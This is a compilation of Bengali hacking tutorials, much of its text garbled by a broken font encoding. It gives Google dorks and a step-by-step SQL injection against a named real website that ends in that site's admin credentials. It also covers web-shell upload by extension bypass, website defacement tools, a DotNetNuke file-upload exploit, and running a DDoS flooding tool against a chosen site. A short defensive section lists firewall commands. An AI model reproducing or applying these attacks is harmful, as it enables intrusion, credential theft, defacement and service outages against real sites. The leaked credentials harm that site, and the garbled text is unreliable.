inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
